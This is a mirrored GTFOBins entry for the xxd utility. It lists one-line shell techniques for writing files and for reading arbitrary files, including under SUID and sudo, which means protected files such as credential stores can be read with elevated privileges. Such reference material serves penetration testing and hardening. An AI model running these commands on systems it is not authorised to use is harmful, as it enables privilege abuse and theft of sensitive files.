mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
20 lines
368 B
Markdown
20 lines
368 B
Markdown
---
|
|
functions:
|
|
file-write:
|
|
- code: |
|
|
LFILE=file_to_write
|
|
echo DATA | xxd | xxd -r - "$LFILE"
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
xxd "$LFILE" | xxd -r
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
./xxd "$LFILE" | xxd -r
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
sudo xxd "$LFILE" | xxd -r
|
|
---
|